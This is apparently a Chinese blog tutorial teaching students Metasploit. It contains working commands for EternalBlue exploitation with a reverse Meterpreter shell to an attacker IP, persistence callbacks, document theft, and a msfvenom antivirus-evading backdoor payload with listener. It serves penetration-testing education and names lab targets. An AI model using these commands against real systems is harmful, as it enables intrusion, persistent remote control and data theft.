大学生学 Metasploit:漏洞利用工具使用教程
生成Windows系统免杀反弹Shell(exe格式)# -e:指定编码器(shikata_ga_nai 是常用免杀编码器)# -i 5:编码5次(提升免杀效果)# -f exe:输出为exe文件# -o backdoor.exe:输出文件名runMetasploit 是渗透测试的 “瑞士军刀”,核心在于熟练掌握 “搜索模块→配置参数→执行利用→后渗透操作” 的流程。
大学生学 Metasploit:漏洞利用工具使用教程

一、引言
Metasploit 是渗透测试领域最经典的漏洞利用框架,集成了数千个漏洞利用模块(Exploit)、攻击载荷(Payload)和辅助工具,能快速实现漏洞验证、权限获取和后渗透测试。对大学生而言,掌握 Metasploit 不仅能提升漏洞利用实战能力,更是参加 CTF 竞赛、从事渗透测试工作的核心技能。本文从基础安装到实战案例,手把手教你掌握 Metasploit 的核心用法。
二、Metasploit 安装与环境配置
1. 安装方式(优先推荐 Kali Linux 环境)
- Kali Linux 自带(首选):
Kali Linux 默认预装 Metasploit Framework,打开终端输入 msfconsole 即可启动,无需额外安装;
首次启动会初始化数据库(PostgreSQL),用于存储扫描结果、漏洞信息,等待初始化完成即可进入交互界面。
- Windows/macOS 手动安装:
-
访问 Metasploit 官网(https://www.metasploit.com/),下载对应系统的安装包;
-
双击安装包,按引导完成安装(Windows 需注意关闭杀毒软件,避免误杀组件);
-
安装完成后,通过开始菜单(Windows)或终端(macOS)启动 msfconsole,验证是否能正常进入交互界面。
2. 核心组件与交互界面
- 核心组件:
-
msfconsole:命令行交互界面,是使用 Metasploit 的主要入口;
-
模块类型:
-
Exploit(漏洞利用模块):利用目标系统的已知漏洞(如永恒之蓝、Drupal 漏洞)获取权限;
-
Payload(攻击载荷):漏洞利用成功后在目标系统中执行的代码(如获取 Shell、反弹连接);
-
Auxiliary(辅助模块):用于信息收集(端口扫描、服务探测)、漏洞扫描等非破坏性操作;
-
Post(后渗透模块):获取目标权限后,执行提权、信息窃取、持久化等操作。
-
交互界面常用命令:
| 命令 | 功能说明 | 示例 |
|---|---|---|
| search | 搜索模块(按漏洞名、关键词) | search ms17-010(搜索永恒之蓝模块) |
| use | 加载指定模块 | use exploit/windows/smb/ms17_010_eternalblue |
| show options | 查看当前模块需配置的参数 | show options |
| set | 设置参数值 | set RHOSTS 192.168.1.100(设置目标 IP) |
| run/exploit | 执行当前模块 | run |
| background | 将当前会话放入后台 | background |
| sessions | 查看所有活跃会话 | sessions -l |
三、Metasploit 基础实战(以永恒之蓝漏洞为例)
1. 漏洞背景
永恒之蓝(MS17-010)是 Windows 系统 SMB 协议的高危漏洞,攻击者可通过该漏洞远程执行代码,获取目标系统的管理员权限,影响 Windows 7、Windows Server 2008 等系统。
2. 实战步骤
(1)信息收集(确认目标是否存在漏洞)
- 启动 msfconsole,搜索永恒之蓝相关的辅助模块:
search ms17-010 type:auxiliary
- 加载漏洞扫描模块(检测目标是否存在永恒之蓝漏洞):
use auxiliary/scanner/smb/smb_ms17_010
- 配置参数(目标 IP 或 IP 段):
set RHOSTS 192.168.1.105 # 目标主机IP
set THREADS 10 # 线程数(加快扫描速度)
- 执行扫描:
run
若输出 “Host is likely VULNERABLE to MS17-010”,说明目标存在永恒之蓝漏洞。
(2)漏洞利用(获取目标系统权限)
- 搜索并加载永恒之蓝漏洞利用模块:
search ms17-010 type:exploit
use exploit/windows/smb/ms17_010_eternalblue
- 配置核心参数:
set RHOSTS 192.168.1.105 # 目标主机IP
set LHOST 192.168.1.102 # 攻击机IP(Kali的IP,用于接收反弹Shell)
set LPORT 4444 # 攻击机端口(用于监听反弹连接)
- 查看并选择 Payload(默认已选择适合的反弹 Shell 载荷):
show payloads # 查看所有支持的Payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 选择64位反弹Meterpreter Shell
- 执行漏洞利用:
run
若成功,将进入 Meterpreter 交互界面(命令行前缀变为 meterpreter >),表示已获取目标系统的 Shell 权限。
(3)后渗透操作(权限提升与信息窃取)
- 查看当前权限:
getuid # 输出当前用户身份,如 "NT AUTHORITY\SYSTEM" 表示管理员权限
- 信息收集:
sysinfo # 查看目标系统信息(版本、架构、补丁情况)
ls # 查看当前目录文件
search -f *.doc # 搜索目标系统中的Word文档(窃取敏感数据)
- 持久化(确保目标重启后仍能控制):
run persistence -X -i 5 -p 4444 -r 192.168.1.102
# -X:系统启动时自动运行
# -i 5:每5秒尝试连接攻击机
# -p 4444:攻击机端口
# -r 192.168.1.102:攻击机IP
- 退出会话:
exit # 退出当前Meterpreter会话
四、Metasploit 进阶技巧
1. 自定义 Payload(规避杀毒软件)
默认 Payload 易被杀毒软件识别,可使用 msfvenom 生成免杀 Payload:
# 生成Windows系统免杀反弹Shell(exe格式)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o backdoor.exe
# -e:指定编码器(shikata_ga_nai 是常用免杀编码器)
# -i 5:编码5次(提升免杀效果)
# -f exe:输出为exe文件
# -o backdoor.exe:输出文件名
将生成的 backdoor.exe 上传到目标系统并执行,攻击机通过 multi/handler 模块监听:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.102
set LPORT 4444
run
2. 数据库联动(存储与分析结果)
Metasploit 可与 PostgreSQL 数据库联动,存储扫描结果和会话信息:
- 启动数据库服务:
service postgresql start
msfdb init # 初始化数据库(首次使用)
- 在 msfconsole 中连接数据库:
db_connect postgres:postgres@localhost/msf # 默认账号密码均为postgres
db_status # 查看数据库连接状态
- 执行扫描后,查看数据库中的结果:
db_hosts # 查看所有发现的主机
db_vulns # 查看所有发现的漏洞
五、总结
Metasploit 是渗透测试的 “瑞士军刀”,核心在于熟练掌握 “搜索模块→配置参数→执行利用→后渗透操作” 的流程。大学生学习时,建议从简单漏洞(如永恒之蓝、Drupal 漏洞)入手,结合 VulnHub 靶场(如 Metasploitable 3)反复实战,逐步掌握模块选择、Payload 配置、免杀等进阶技巧。同时,需注意 Metasploit 仅用于合法授权的渗透测试,避免触犯法律。
网络安全学习资料分享
为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~


更多推荐

所有评论(0)